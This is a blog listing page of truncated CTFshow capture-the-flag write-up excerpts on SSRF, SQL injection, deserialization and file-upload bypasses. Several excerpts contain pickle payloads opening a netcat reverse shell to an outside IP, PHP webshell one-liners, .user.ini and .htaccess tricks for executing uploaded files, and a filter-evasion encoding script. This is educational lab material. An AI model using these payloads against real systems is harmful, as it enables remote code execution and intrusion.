
CTFshow
1
Kradress
记录我的ctf刷题之路
展开
-
CTFshow SSRF(web351-360)
表示不允许私有IP地址(例如,10.0.0.0/8,172.16.0.0/12和192.168.0.0/16),而。后面要进行url编码,因为curl还会进行一次url解码。后面要进行url编码,因为curl还会进行一次url解码。显示网页内容,说明存在SSRF漏洞,那应该就是用。因为不能用私网,所以这题还是可以用。题目hint:打无密码的mysql。发现是一个登录框,抓个包看看,输入。,用于过滤和验证输入的IP地址。,这里可以用进制转换绕过。的返回结果,直接写马。的返回结果,直接写马。原创 2023-03-17 18:38:31 · 774 阅读 · 0 评论 -
CTFshow sql注入 上篇(web221-253)
目录前言思路题解总结前言输入源码思路################################题解################################总结…原创 2022-04-20 18:00:29 · 4929 阅读 · 2 评论 -
CTFshow sql注入 上篇(web171-220)
目录前言题目web 171(万能密码)web 172(回显内容过滤,base64或者hex编码绕过)web 173(回显内容过滤,base64或者hex编码绕过)web 174 (盲注)总结前言师傅们加油!!!题目web 171(万能密码)//拼接sql语句查找指定ID用户$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";id存在注原创 2022-03-18 00:24:11 · 7476 阅读 · 0 评论 -
CTFshow 反序列化 web266
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-04 23:52:24# @Last Modified by: h1xa# @Last Modified time: 2020-12-05 00:17:08# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);in原创 2022-02-11 19:56:55 · 766 阅读 · 0 评论 -
CTFshow 反序列化 web261
目录源码思路题解总结源码<?phphighlight_file(__FILE__);class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ //对象创建时会自动调用。 $this->username=$u; $this->password=$p; }原创 2021-12-20 00:29:47 · 2511 阅读 · 0 评论 -
CTFshow 反序列化 web257
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 20:33:07# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight原创 2021-12-19 12:17:24 · 2009 阅读 · 1 评论 -
CTFshow 反序列化 web274
目录源码思路题解总结源码源码中提示反序列化入口思路去网上搜下ThinkPHP 5.1相关的漏洞题解找到2个exp第一个<?phpnamespace think;abstract class Model{ protected $append = []; private $data = []; function __construct(){ //GET传参 shell $this->data = ['shell' =原创 2022-02-12 01:12:19 · 377 阅读 · 0 评论 -
CTFshow 反序列化 web278
目录思路题解总结思路题目提示了过滤了os.system,那么我们把system改成popen().read()题解import base64import pickleclass shell(object): def __reduce__(self): return (eval, ("__import__('os').popen('nc 119.91.26.229 9999 -e /bin/sh').read()",))k = shell()print(bas原创 2022-02-12 21:19:19 · 245 阅读 · 0 评论 -
CTFshow 反序列化 web258
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 21:38:56# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight原创 2021-12-19 12:17:34 · 861 阅读 · 0 评论 -
CTFshow 反序列化 web272
目录题解总结题解之前的链子用不了了直接拿群里的exp<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-05-05 22:27:03# @Last Modified by: h1xa# @Last Modified time: 2021-05-05 22:39:17# @email: h1xa@ctfer.com# @link: https://ctfer.com*/namespace Ph原创 2022-02-11 22:50:01 · 305 阅读 · 0 评论 -
CTFshow 反序列化 web255
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight原创 2021-12-19 12:17:08 · 634 阅读 · 0 评论 -
CTFshow 反序列化 web259
目录源码思路题解总结源码<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();Notice: Undefined index: vip in /var/www/html/index.php on line 6Fatal error: Uncaught Error: Call to a member func原创 2021-12-19 13:33:12 · 1883 阅读 · 0 评论 -
CTFshow 反序列化 web271
目录源码思路题解总结源码<?php/** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */define('LARAVEL_START', microtime(true));/*|---------------------------------------------------原创 2022-02-11 22:29:50 · 712 阅读 · 0 评论 -
CTFshow 反序列化 web264
目录源码思路题解总结源码index.php<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 02:37:19# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 16:05:38 |# @message.php原创 2022-02-11 18:55:27 · 1290 阅读 · 0 评论 -
CTFshow 反序列化 web270
目录题解总结题解exp<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-05-03 21:55:29# @Last Modified by: h1xa# @Last Modified time: 2021-05-04 01:25:28# @email: h1xa@ctfer.com# @link: https://ctfer.com*/namespace yii\rest { clas原创 2022-02-11 22:08:26 · 297 阅读 · 0 评论 -
CTFshow 反序列化 web267
目录思路题解总结思路进去是一个网页,在login页面试了下密码,发现是admin:admin,成功登录,但发现没什么改变一个个页面查看源代码,最后再about页面中发现提示访问?r=site%2Fabout&view-source拿到提示///backdoor/shellunserialize(base64_decode($_GET['code']))刚开始不知道怎么去用,后面想到%2F就是/,尝试了下r=/backdoor/shell,提示要加上参数,然后思路又断了,应该是信原创 2022-02-11 21:12:30 · 1377 阅读 · 1 评论 -
CTFshow 反序列化 web277
目录源码题解总结源码查看源代码 提示pickle,得知考点是pickle反序列化题解exp试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上就会自动断开import base64import pickleclass shell(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 119.91.26.229 9999原创 2022-02-12 20:01:20 · 650 阅读 · 0 评论 -
CTFshow 反序列化 web254
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight原创 2021-12-19 12:17:00 · 336 阅读 · 0 评论 -
CTFshow 反序列化 web263
目录源码思路题解总结源码也没有什么别的信息,扫一下目录,下载www.zip拿到源码思路知识点:php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差原创 2021-12-20 00:28:53 · 1471 阅读 · 0 评论 -
CTFshow 反序列化 web268
目录思路题解总结思路发现这题和上题一样的,用之前的链子发现什么回显也没有,可能这个链子用不了了,就直接拿群里的吧题解exp<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-05-03 21:55:29# @Last Modified by: h1xa# @Last Modified time: 2021-05-04 01:25:28# @email: h1xa@ctfer.com# @link:原创 2022-02-11 21:54:43 · 557 阅读 · 1 评论 -
CTFshow 反序列化 web269
目录题解总结题解和上题一样<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-05-03 21:55:29# @Last Modified by: h1xa# @Last Modified time: 2021-05-04 01:25:28# @email: h1xa@ctfer.com# @link: https://ctfer.com*/namespace yii\rest { cl原创 2022-02-11 21:57:15 · 319 阅读 · 0 评论 -
CTFshow 反序列化 web273
目录题解总结题解两个链子都可以用exp1 flag在cookie<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2021-05-05 22:27:03# @Last Modified by: h1xa# @Last Modified time: 2021-05-05 22:39:17# @email: h1xa@ctfer.com# @link: https://ctfer.com*/names原创 2022-02-12 01:12:11 · 169 阅读 · 0 评论 -
CTFshow 反序列化 web262
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 02:37:19# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 16:05:38# @message.php# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporti原创 2021-12-20 00:29:21 · 2758 阅读 · 4 评论 -
CTFshow 反序列化 web260
目录源码思路题解总结源码<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag;}思路就是序列化一个类,里面含有ctfshow_i_love_36D,我们可以让类名为ctfshow_i_love_36D即可题解?ctf原创 2021-12-20 00:29:41 · 301 阅读 · 0 评论 -
CTFshow 反序列化 web265
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-04 23:52:24# @Last Modified by: h1xa# @Last Modified time: 2020-12-05 00:17:08# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);include('原创 2022-02-11 19:27:50 · 880 阅读 · 0 评论 -
CTFshow 反序列化 web256
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight原创 2021-12-19 12:17:15 · 473 阅读 · 0 评论 -
CTFshow 反序列化 web275
目录源码思路题解总结源码<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-08 19:13:36# @Last Modified by: h1xa# @Last Modified time: 2020-12-08 20:08:07# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);c原创 2022-02-12 01:12:29 · 495 阅读 · 0 评论 -
CTFshow 文件上传 web151
目录源码思路题解总结源码<script>layui.use('upload', function(){ var upload = layui.upload; //执行实例 var uploadInst = upload.render({ elem: '#upload' //绑定元素 ,url: '/upload/' //上传接口 ,done: function(res){ if(res.code==0){ $("#resu原创 2022-02-13 01:51:44 · 260 阅读 · 0 评论 -
CTFshow 文件上传 web168
目录思路总结思路先查看源代码,发现限制上传png直接上传png的图片马,回显null,发现对eval,system还有$_POST和$_GET进行过滤,$_REQUEST还可以用替换图片马中的一句话,把文件后缀改成php,成功上传<?php $_REQUEST[0]($_REQUEST[1]);?>访问/upload/shell.php,直接rce拿到flag总结…...原创 2022-02-17 01:09:08 · 457 阅读 · 1 评论 -
CTFshow 文件上传 web157
目录思路总结思路直接在burp里面改target和host的值,或者在本地发包成功上传.user.iniauto_prepend_file=shell.png在上传shell.png的时候,对比上题,;和反引号也不能用了,过滤;可以用闭合php标签用?>来绕过shell.png<?system('tac ../f*')?>访问/upload,拿到flag总结…...原创 2022-02-15 20:08:42 · 597 阅读 · 0 评论 -
CTFshow 文件上传 web164
目录思路总结思路 直接在burp里面改target和host的值,或者在本地发包多次尝试后,发现除了正常的png图片,都无法上传,猜测用图片马上传https://github.com/huntergregal/PNG-IDAT-Payload-Generator虽然上传成功,但把后缀改成任意字符串却被拦截,猜测是白名单.user.ini也无法正常上传,应该有其他的点可以利用.直接在网站上上传图片马后,发现显示查看图片点击查看图片后,跳转到/download.php?imag原创 2022-02-16 21:07:37 · 1104 阅读 · 1 评论 -
CTFshow 文件上传 web166
目录思路总结思路直接在bp发包一直失败,没什么思路,查看了一下网页源代码,提示上传zip直接上传zip,显示下载文件,抓包发现url路径疑似文件包含点,返回的是一个html页面在上传的zip尾部添加shell,访问/upload/download.php?file=1048f28ab4d2da951869bc5579e7525c.zip抓包拿到flag<?php phpinfo();system("tac ../f*");?>总结没什么过滤...原创 2022-02-16 22:41:40 · 552 阅读 · 0 评论 -
CTFshow 文件上传 web153
目录思路总结思路先上传带shell的png文件,上传成功把文件后缀改成php,上传失败,改成xxxxx上传成功,得知是黑名单过滤,上传phtml后缀,可以成功上传,但是无法解析,可以试试上传配置文件,访问upload,发现有可执行文件index.php,可以用上传.user.ini来进行文件包含(题目是nginx)user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。条件:服务器脚本语言为PHP原创 2022-02-15 18:43:34 · 1916 阅读 · 0 评论 -
CTFshow 文件上传 web158
目录思路总结思路直接在burp里面改target和host的值,或者在本地发包成功上传.user.iniauto_prepend_file=shell.png发现上题的可以直接用,直接白嫖了shell.png<?system('tac ../f*')?>总结…原创 2022-02-15 20:13:31 · 286 阅读 · 0 评论 -
CTFshow 文件上传 web154
目录思路总结思路上传一个包含shell的png文件,发现上传失败清空文件内容,发现上传成功,可能过滤文件中的关键字,经过尝试,猜测文件对php进行过滤,可以用大小写来绕过shell.png<?phP echo 123;pHpinfo();eval($_POST['cmd']); ?>发现其他和上题一样,直接上传.user.ini.user.iniauto_prepend_file=shell.png然后访问/upload/index.php,直接RCE总结…原创 2022-02-15 18:58:52 · 478 阅读 · 0 评论 -
CTFshow 文件上传 web161
目录思路总结思路直接在burp里面改target和host的值,或者在本地发包在上传.user.ini发现失败,可能对文件内容进行检测在多次尝试后,发现文件类型为image/png,文件头加上GIF89a而且文件不能太小,要多加点内容其他都和上题一样.user.iniGIF89aauto_prepend_file=shell.pngshell.png记得url解码GIF89a<?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0原创 2022-02-15 23:18:23 · 457 阅读 · 0 评论 -
CTFshow 文件上传 web167
目录思路总结思路根据提示上传了包含shell的jpg文件,上传成功,点击下载文件,发现没有存在文件包含点,访问upload检查是否有可执行文件,提示没有权限,但是发现中间件是apache可以直接上传phtml,但是文件没有被成功解析.这时候可以上传.htaccess,对所有文件进行php解析<?php echo 123;eval($_POST['kradress']);?>.htaccessSethandler application/x-httpd-php<!-将该原创 2022-02-16 22:54:55 · 422 阅读 · 0 评论 -
CTFshow 文件上传 web160
目录思路总结思路直接在burp里面改target和host的值,或者在本地发包成功上传.user.iniauto_prepend_file=shell.png继续用取反来解取反脚本$a = "data://text/plain,<?php system('tac ../f*');?>";echo "~(";for ($i = 0; $i < strlen($a); $i++) { echo "%".bin2hex(~$a[$i]);}echo ")"原创 2022-02-15 21:30:17 · 659 阅读 · 1 评论 -
CTFshow 文件上传 web155
目录思路总结思路其他和上题一样,发现这次不能通过改变大小写来绕过了,可以用短标签shell.png<? echo 123;eval($_POST['cmd']); ?>.user.iniauto_prepend_file=shell.png访问upload,执行rce总结…原创 2022-02-15 19:14:11 · 1550 阅读 · 0 评论 -
CTFshow 文件上传 web152
目录思路题解总结思路提示:后端校验要严密先上传一个png,然后抓包改成php,发现直接成功了题解访问文件直接RCE总结水题原创 2022-02-13 02:02:13 · 573 阅读 · 0 评论